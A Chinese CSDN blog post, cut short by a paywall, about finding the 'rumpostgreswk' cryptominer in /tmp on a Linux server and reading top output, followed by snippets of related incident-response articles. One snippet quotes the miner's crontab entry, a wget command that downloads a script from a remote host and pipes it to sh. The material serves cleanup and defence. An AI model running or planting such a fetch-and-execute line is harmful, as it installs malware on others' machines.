rumpostgreswk 挖矿病毒程序

已于 2022-09-26 11:04:28 修改
阅读量1.9k 收藏
点赞数
分类专栏： 应急响应 文章标签： linux 运维 服务器
于 2022-03-16 14:57:28 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44122254/article/details/123525969
版权

朋友说他的服务器发消息有挖矿，拍完快照，给我说练练手，这算是我第一次接触挖矿
在这里插入图片描述
信息提示在tmp文件夹下面，进入打开进行查看，看到了提示的挖矿病毒程序
在这里插入图片描述
在此，同时看一下CPU的占用情况
在这里插入图片描述
原来学的linux操作命令，全都还给老师了，这次又现学了一下，如何查看内存的使用情况
查看内存的使用情况
Top
PID：进程的ID
USER：进程所有者
PR：进程的优先级别，越小越优先被执行
NI：进程Nice值，代表这个进程的优先值
VIRT：进程占用的虚拟内存
RES：进程占用的物理内存
SHR：进程使用的共享内存
S：进程的状态。S表示休眠，R表示正在运行，Z表示僵死状态
%CPU：进程占用CPU的使用
%MEM：进程使用的物理内存和总内存的百分
TIME+：该进程启动后占用的总的CPU时间，即占用CPU使用时间的累加值
COMMAND：启动该进

最低0.47元/天 解锁文章
坚果雨
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Postgres漏洞复现
qq_42133828的博客
07-21 900
Postgres漏洞汇现 CVE-2018-1058 漏洞名称： 远程代码执行漏洞 漏洞类型： 远程代码执行 公布时间： 2018-3-1 涉及应用版本： PostgreSQL https://www.securityfocus.com/bid/103221 针对操作系统： windows/linux/mac 漏洞简介： 拥有普通权限的psql用户可以创建恶意函数。在管理员使用某些工具的时候，就会...
清理服务器中的挖矿进程kswapd0 & tsm
MaggieTang0622的博客
11-25 1086
挖矿进程kswapd0&tsm清理
rumpostgreswk 挖矿病毒程序。杀除
王帅的博客
12-11 2075
今天阿里云发短信，说服务器发现挖矿病毒程序。我们来看看。怎么回事。 发现。postgres 用户启动了一个进程文件。这个文件，占用cpu非常高。就是他了。 我们来看看，他的启动路径在哪里？ 发现。tmp下。这个config 文件，有问题。并不是postgres 的程序。 ./postgres_dm /tmp/rumpostgreswk --config=/tmp/config.json 发现这两个文件。就是病毒。 找到对应的路径。在/tmp下面。 发现这个文件夹里面很多都是异..
消灭Linux挖矿病毒rumpostgreswk
BIG BOSS的博客
09-09 3470
病毒定时任务 sudo crontab -u postgres -l [root@master ~]# sudo crontab -u postgres -l */30 * * * * /home/postgres//home/postgres/data/./oka * */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh 删除 sudo crontab -u postgres -r
【问题记录】postgreSQL使用默认密码导致kdevtmpfsi挖矿病毒注入
UncleDong的博客
05-26 1728
3.分别kill 掉这两个进程，一定要两个都kill掉，刚开始处理的时候只kill了主进行，没有处理守护进程，导致一会又挖矿机器> 又启动开始工作，cpu 又跑到100%6.使用lsof查看该进程存在异常IP连接，比如：45.129.2.107，在服务器安全组中将该IP禁用，并重启服务器。7.最后，一定要重置系统上的所有用户密码，检查服务安全组，尤其是远程端口！由于该挖矿任务是个常见任务，因此网上很多教程，我参考的是。服务器不同，可能路径不同，可以直接用命令查找。,发现host被篡改，删除即可。
记一次处理挖矿程序引发的postgres 连接超时
奔跑的痕迹的博客
12-26 1507
进入服务使用top 查看cpu 使用情况 使用 ll /proc/pid号 查找进程 也可以使用 lsof ps 进程名称（有的linux 需要先安装yam install lsof） 首选我的postgres是使用docker 制作的一个容器，所以先要进入这个容器 *docker exec -it 容器id /bin/bash 进入容器后在登录postgres root@f82e7d3a9755:/# su postgres postgres@f82e7d3a9755:/$ psql 然后使用
Centos7安装Postgresql
又又爱吃肉的博客
05-24 1329
1、打开：https://www.postgresql.org/download/linux/redhat/ 生成下面两句安装语句，分别在linux中执行 #通过RPM下载安装包: sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm #安装PostgreSQL: sudo yum install -...
postgresql
wk022的专栏
09-11 388
postgresql初始用户 postgres 没有密码 通过以下命令登录 $ sudo -u postgres psql 设置密码 \password Enter password: ... ... 删除数据库 drop DATABASE ambari
蓝队-应急响应01-挖矿事件应急处置
最新发布
jklove9的博客
02-08 1096
通常情况下会通过未授权访问漏洞，弱口令（口令爆破）等方式，具体是什么方式，还需要看被入侵的服务器具体开放了哪些端口或者服务？挖矿程序主要是利用GPU等资源进行挖矿操作，最直接的现象就是CPU拉满，消耗电力等。下述可以清楚看到，运行挖矿程序之后，查看CPU状态是拉满的，即100%。经过上述分析，基本确认是挖矿，确认挖矿之后，需要进一步探究挖矿程序是如何被上传？挖矿程序通常会有相应的配置文件，如下config.json所示，可以看到钱包地址，挖矿域名等。依据挖矿程序，全盘搜索，发现下述两个路径均存在挖矿程序。
Postgresql RUM索引
魂醉的一亩二分地
03-04 1267
RUM 为了全文搜索更加快，RUM索引可以看做是在GIN基础上的扩展。可以从https://github.com/postgrespro/rum下载使用。 使用GIN索引的一些限制 GIN索引允许使用tsvector和tsquery类型执行快速的全文本搜索。但是，使用GIN索引进行全文搜索存在几个问题： 排序慢。需要有关词汇的位置信息才能进行排序。 GIN索引不存储词素的位置信息。因此，在索引扫...
PostgreSQL中的安全威胁
Auspicious航的博客
10-27 912
现代数据库存储着各种各样的信息。数据是非常有价值的，因为像地图位置、身份证、银行账号等信息都会存放在数据库中。因此数据库中数据的安全性至关重要。 但是不幸的是，目前恶意软件，病毒和漏洞的规模巨大，数据库会面临巨大的安全威胁。PostgreSQL与其他软件一样容易受到误用，盗窃，未经授权的访问/控制等攻击。 本文主要讨论几种PostgreSQL中的安全威胁以及可以采取哪些措施来防范这些安全威胁。 1.CVE详细信息，报告和漏洞 有这样一个网站，该站点在每个供应商的基础上发布了最新的安全威胁。 P
linux postgres占用过高
韶华易逝，容颜易老，珍惜当下...........
01-26 824
查看命令： ps aux | grep postgres #启动，停止，重启服务 systemctl start postgresql-10.service systemctl stop postgresql-10.service systemctl restart postgresql-10.service #查看一个服务的状态 systemctl status postgresql-10.service #开机时启用一个服务 systemctl enable postgresql-10.service
基于Linux平台下的僵尸网络病毒《比尔盖茨》
热门推荐
星焱宖
06-11 2万+
文章分析了近来的 比尔盖茨 病毒，这是一种网络僵尸病毒，它的破坏方式很巧妙也很多样，作者的能力有限，希望与大家共同探讨。
服务器被攻击植入挖矿病毒，CPU占用高问题排查处理（.systemd-service.sh）
gottst0113的博客
03-06 1627
客户服务器遭攻击，部署的应用服务经常性被停止，服务器CPU占用居高不下，top查看如下： 可以看到第一个bash任务，占用cpu近400%，非正常的应用程序和脚本任务，多半是被植入了木马信息。 查看该进程的符号连接，发现已经是被删除的状态 /usr/bin/-bash (deleted)，无法查看其启动程序的信息 查看定时任务：cat /etc/crontab,发现都是正常的应用程序定时脚本 又用 crontab -l 查看了一下，发现了异常定时任务如下，同top里的异常任务一致...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值